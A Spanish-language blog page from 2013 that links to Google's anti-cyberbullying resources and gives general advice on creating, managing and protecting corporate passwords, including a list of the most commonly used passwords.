CONSEJOS PRÁCTICOS DE ACTUACION PARA USUARIOS QUE SUFREN CIBERACOSO EN GOOGLE

Google ofrece información sobre cómo evitar el acoso tanto para padres:

http://support.google.com/plus/bin/topic.py?hl=es&topic=2402054&p=anti_bullying

..como para adolescentes:
http://support.google.com/plus/bin/answer.py?hl=es&answer=2402875&topic=2402054&ctx=topic

…con videos divulgativos y consejos. También se informa del procedimiento sobre cómo informar de un caso de acoso.

miércoles, 19 de junio de 2013

Contraseñas siempre seguras

Las empresas utilizan cada vez más infraestructuras informáticas para el desarrollo de su actividad. No todos los trabajadores pueden acceder a todos los servicios, aplicaciones y máquinas de la empresa. El método preferido de autenticación, que permite asegurar que sólo usuarios con autorización acceden a estos servicios, es el uso de contraseñas.

Esto hace que se dispare el número de contraseñas usadas para proteger uno de los activos más importantes de una empresa: su información. Debido a esto, es prioritario que exista una política respecto a la creación, uso y ciclo de vida de las contraseñas corporativas independientemente del tamaño de la empresa.


Recomendaciones a la hora de escoger una contraseña

Es muy importante tener en cuenta las características que debe cumplir cualquier contraseña que se quiera considerar segura:

  • Una contraseña para ser segura debe tener al menos ocho caracteres y debe ser lo menos «regular» posible fomentando la inclusión de caracteres especiales (como |, @, -, # ), números y el uso alterno de mayúsculas y minúsculas.
  • Hay que evitar el uso de palabras del diccionario o expresiones del tipo «qwerty» o «1234». Además, no se deben utilizar palabras o fechas que identifiquen a la empresa o a sus miembros.
  • Se recomienda asimismo excluir fechas de nacimiento, nombres personales, etc., ya que se trata de información que algún atacante podría conocer previamente o sacar de Internet.
  • Tampoco es recomendable usar la misma contraseña para diferentes servicios (web, correo electrónico, foros, etc.) con el fin de evitar, en caso de robo, que puedan entrar en más de uno de los sitios de la empresa.

Como escoger una contraseña

Un buen método para crear una contraseña sólida es pensar en una frase fácil de memorizar, un refrán, el título de una película, el nombre de un libro que nos haya gustado, que tenga al menos 10 palabras y acortarla aplicando alguna regla sencilla.

Una manera sería seleccionando la primera letra de cada palabra y convirtiendo algunas de las letras en números que sean similares. Por ejemplo, «La seguridad es como una cadena, es tan fuerte como el eslabón más débil» podría convertirse en «lsecucetfceemd».

Ya tendríamos una contraseña de 10 caracteres. Sin embargo sigue siendo una contraseña débil por ser todo letras y todas minúsculas. A continuación debemos añadirle complejidad añadiendo mayúsculas, números y caracteres especiales. La forma de hacerlo ya depende de cada uno. Por ejemplo en este caso vamos a poner la primera y última letras de la contraseña en mayúsculas, usar la coma que aparece en medio de la frase original y para la palabra «una», usaremos el número «1». La contraseña final nos quedaría así: «Lsec1c,etfceemD».

Esta contraseña será mucho más segura que la anteriormente escogida.

Se recomienda perder 2 o 3 minutos en pensar una contraseña que cumpla las condiciones antes comentadas y que a la vez nos sea fácil de recordar.


¿Por qué es necesaria tanta seguridad?

Existen programas que tratan de acceder a los sistemas de información o aplicaciones web probando automáticamente miles de las contraseñas por segundo. En este sentido estas aplicaciones pueden funcionar de dos maneras.

La primera forma de actuar es usando lo que se llaman diccionarios de contraseñas, que son listados muy extensos de hasta millones de palabras que son secuencias de números, palabras del diccionario, nombres de personas y combinaciones de los anteriores grupos. Con un buen diccionario, un atacante podría obtener nuestra contraseña en cuestión de minutos si ésta no es lo suficientemente robusta.

La otra forma de actuar de estos programas es probando todas y cada una de las posibles combinaciones de letras, números y caracteres especiales. Este tipo de ataques son mucho más lentos, pero si nuestra contraseña es muy corta (menos de 7 caracteres) podría obtenerse en cuestión de minutos.


Gestión de contraseñas

Una vez que la empresa posee contraseñas seguras, éstas deben ser gestionadas correctamente.

Una de las medidas a aplicar es que han de cambiarse periódicamente o cuando se piensa que pueden haber sido comprometidas. Lo típico es una política de cambio de contraseñas cada 60-90 días.

Asimismo hay que tener mucho cuidado con la transferencia de contraseñas. Nunca se deben enviar ni por correo electrónico, ni a través de chat, ni por sms, ni escribirse en ningún cuaderno o post-it. El mejor lugar para alojar las contraseñas es en nuestro cerebro. Ahí sabemos que nadie podrá leerlas.

Los miembros de una empresa jamás deben anotar las contraseñas en papeles que estén a la vista o a los que se tenga fácil acceso. Si hay que utilizar un alto número de contraseñas, es mejor usar un programa para su gestión, como por ejemplo KeePass.

Otra cuestión importante es no utilizar contraseñas corporativas en ordenadores de los que se desconozca el nivel de seguridad porque estos equipos pueden tener instalados programas que capturen las contraseñas. Además, la empresa debe cambiar las contraseñas que vienen por defecto en el hardware y software.

Por último, hay que tener en cuenta que cuanto más valioso o vulnerable sea un sistema de la información, más seguras han de ser sus contraseñas y su política de gestión.


Algunos datos reales

Para hacernos una idea de que lo que estamos contando es real y pasa día a día, a continuación se muestran algunos datos relevantes.

Según un estudio reciente, las 12 contraseñas más usadas a lo largo de la historia han sido:

  • 123456
  • 12345
  • 123456789
  • password
  • iloveyou
  • princess
  • rockyou
  • 1234567
  • 12345678
  • abc123
  • qwerty
  • (Nombre de Usuario)

Como se ve, se tiende a poner contraseñas simples (rockyou, iloveyou, o el propio nombre de usuario), secuencias numéricas y palabras de diccionario (princess, password).

Algunos datos extra:

  • Se estima que el 4% de los usuarios tienen contraseñas que son variantes de las palabras ‘password’ o ‘contraseña’.
  • Se estima que el 25% de las contraseñas son variantes de nombres propios o nombres de usuario.
  • Se estima que un 14% de las contraseñas son combinaciones de letras o números fáciles de recordar (123456, etc)

En cuanto a la longitud de las contraseñas:

  • Se estima que un 30% de las contraseñas tienen una longitud inferior a 7 caracteres.
  • Un 19% de las contraseñas tiene 7 caracteres.
  • Un 20% de las contraseñas tiene 8 caracteres.
  • Sólo un 31% son realmente seguras teniendo más de 8 caracteres.

Resumen

Se recomienda siempre escoger contraseñas de al menos 8 caracteres, con mayúsculas, minúsculas, numero y caracteres especiales. Se recomienda huir de los nombres propios de las secuencias de números y caracteres y de cualquier palabra que podamos encontrar en un diccionario de la lengua.

Las contraseñas deben cambiarse periódicamente y nunca ser escritas en un papel o post-it que se deje a la vista de los demás. A ser posible las contraseñas deben ser memorizadas y si se usan muchas, usar alguna aplicación de gestión de contraseñas.